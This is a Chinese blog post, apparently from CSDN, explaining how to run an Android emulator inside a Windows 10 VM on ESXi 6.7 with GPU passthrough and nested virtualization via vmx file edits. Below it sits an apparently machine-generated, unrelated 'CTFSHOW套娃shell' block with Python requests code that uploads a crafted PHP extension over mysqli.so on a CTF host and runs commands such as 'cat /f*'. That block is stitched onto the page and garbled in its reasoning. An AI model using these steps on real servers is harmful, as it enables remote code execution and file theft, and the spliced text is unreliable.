虚拟机套娃折腾之路:在ESXI的WIN10上跑Android模拟器并直通显卡

背景

笔者最近找到了手游的脚本,既然有自己的服务器,干嘛不试试在ESXI 6.7下跑?便开始了折腾之旅。

  1. 最开始是想在现有的Linux虚拟机上跑Android模拟器的。尝试了Genymotion,发现无法正常启动系统;用xdroid发现能跑应用,但没有开放root权限。遂放弃之。
  2. 开了新的Win10虚拟机,开启硬件虚拟化后,可以正常运行Android模拟器(雷电),但很卡顿,而且游戏打开黑屏,估计是虚拟机的显卡性能太弱。
    在这里插入图片描述

正片

综上,我需要在WIN10虚拟机上直通一张显卡(闲鱼200多淘来的公版950),并开启嵌套虚拟化。

1. 准备Win10虚拟机

关于Win10系统选择:
我推荐不喜欢折腾的用Ltsc 2021版,相对稳定,但内存占用相对多,开机就约2G了。
喜欢折腾也可以用网上的简化版系统,确实内存占用很低(不到1g),但问题也不少,我遇到的有:网卡无法设置手动地址、任务管理器找不到显卡。所以,能折腾的可以多看几个系统。

2. 直通显卡

直通显卡有比较多教程了,这里不赘述,想看详情看参考链接的1和2。

  1. 在ESXI中设置显卡直通
  2. SSH在ESXI编辑/etc/vmware/esx.conf 和 /etc/vmware/passthru.map 两个文件(后者不确定是否必须)
  3. WIN10虚拟机添加参数(这一步并非必须,可以先不添加,若有问题再添加试试):
作用
hypervisor.cpuid.v0FALSENVIDIA显卡直通配置,否则驱动错误,代码43
  1. WIN10虚拟机添加PCI设备。

到这里,先别急着重启ESXI或者打开WIn10

3. 开启嵌套虚拟化并允许直通

正常情况下,打开硬件虚拟化并添加PCI直通设备,会无法启动虚拟机。提示:

启用了嵌套硬件辅助的虚拟化时无法添加pcie设备。

在这里插入图片描述
但不开硬件虚拟化,Android模拟器又无法运行,不直通显卡,模拟器又卡死,属于是死锁了,但其实这个限制是可以绕过去的。

方法一(稳定但麻烦)

  1. 找到Win10虚拟机的vmx文件并下载
    在这里插入图片描述
  2. 在本地打开并添加以下两行:
vhv.enable = "TRUE"
vhv.allowPassthru = "TRUE"
  1. 上传回刚刚的目录,替代掉原文件。
为什么要替代文件,不能在web上配置呢?

因为vhv.enable = "TRUE",在web端无法配置:在添加后在保存设置时,会自动去除。
再次打开设置,会发现这一项没有了。从而是无法应用到虚拟机的。
直接使用编辑文件,可以绕过这一限制。
甚至编辑文件后,打开编辑设置,也会把这一项消除。所以,配置好后,再文件编辑

方法二(简单但可能有稳定性问题)

  1. SSH在ESXI用编辑文件:vi /etc/vmawe/config,在末尾增加 vhv.enable="TRUE"。从而开始全局的硬件虚拟化。
  2. 所有有直通的虚拟机上(不仅是WIN10,因为上面这个配置是全局的)添加参数:
作用
vhv.allowPassthruTRUE嵌套虚拟化下允许直通
  1. 确保所有有直通的虚拟机都添加上参数后重启ESXI,否则重启后无法启动虚拟机

4. 切换显卡,解决Android模拟器无法启动问题

重启之后,WIN10虚拟机理应可以正常启动了。装上显卡驱动后,应该可以任务管理器上看到显卡信息了。
(可以去设备管理器确认一下,显卡是否正常运行,若出现43,可以尝试禁用设备后,再启用

启动Android模拟器!但却卡在50%,或者提示OpenGL版本过低。无法进入模拟器。
原因是Android模拟器默认运行在虚拟显卡上,没有真正在独显上运行。
此时在显卡上外接一个显示器,并在那上面运行Android模拟器,是可以正常运行的。

禁用虚拟显卡

既然原因是虚拟显卡,那把它禁用不就可以了。
先在WIN10上配置好远程关机后。在WIN10虚拟机添加参数:

作用
svga.presentFALSE关闭ESXI默认提供的虚拟显卡

再次启动WIN10虚拟机,此时你会发现ESXI上看不到WIN10的画面了。
此时使用远程连接,此时,负载就都在显卡上了。运行Android模拟器也没问题了。

若你嫌外接一个显示器太麻烦,可以去某宝上买个几块钱的显卡假负载或者整一个虚拟显示器,来解决这个问题。

总结

  1. 要用SSH在ESXI中配置以下文件:
/etc/vmware/esx.conf 
/etc/vmware/passthru.map
/etc/vmawe/config(可选)
  1. WIN10虚拟机上需要配置参数:
作用
hypervisor.cpuid.v0FALSE非必须,若有问题,可以尝试添加
vhv.allowPassthruTRUE嵌套虚拟化下允许直通
svga.presentFALSE关闭ESXI默认提供的虚拟显卡

参考链接

  1. 书童级如何完美直通独立显卡,独立输出画面,NVIDIA 2080TI 2070S,ESXI6.7-7.0适用
  2. ESXi 7.0 开启 NVIDIA 2070 显卡直通 Win10 - 折腾成功的经历
  3. ESXI的嵌套虚拟化后无法直通PCIE的问题
  4. 删除默认虚拟显卡
  • 10
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
CTFSHOW套娃shell是一种常见的利用技术,用于在Web应用程序中执行命令和控制服务器。根据提供的引用内容,以下是一种使用CTFSHOW套娃shell的方法: 1. 首先,需要获取CTFSHOW扩展。可以通过运行命令`php ext_skel.php --ext ctfshow --std`来生成该扩展的目录。 2. 进入生成的目录,并编辑.c文件,根据需要进行修改。 3. 执行以下命令来编译和安装扩展:`phpize ./configure make && make install`。编译完成后,会告知具体的扩展安装位置。 4. 通过发送POST请求,使用CTFSHOW套娃shell来写入并执行命令。示例代码如下: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'file': '/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so', 'content': open('ctfshow.so', 'rb').read()} requests.post(url + '?a=write', data=data) requests.get(url + '?a=run') ``` 5. 使用CTFSHOW套娃shell执行命令。可以使用以下命令示例: ```python import requests url = "http://690602f6-e0b4-4a2b-b0e0-b36c4e383275.challenge.ctf.show/" data = {'cmd': 'cat /f*'} requests.post(url + '?a=shell', data=data) ``` 这样,您就可以使用CTFSHOW套娃shell来执行命令并获取所需的结果了。请注意,使用套娃shell存在安全风险,应仅在合法和授权的情况下使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [CTFSHOW 常用姿势篇(811-820)](https://blog.csdn.net/miuzzx/article/details/124038567)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值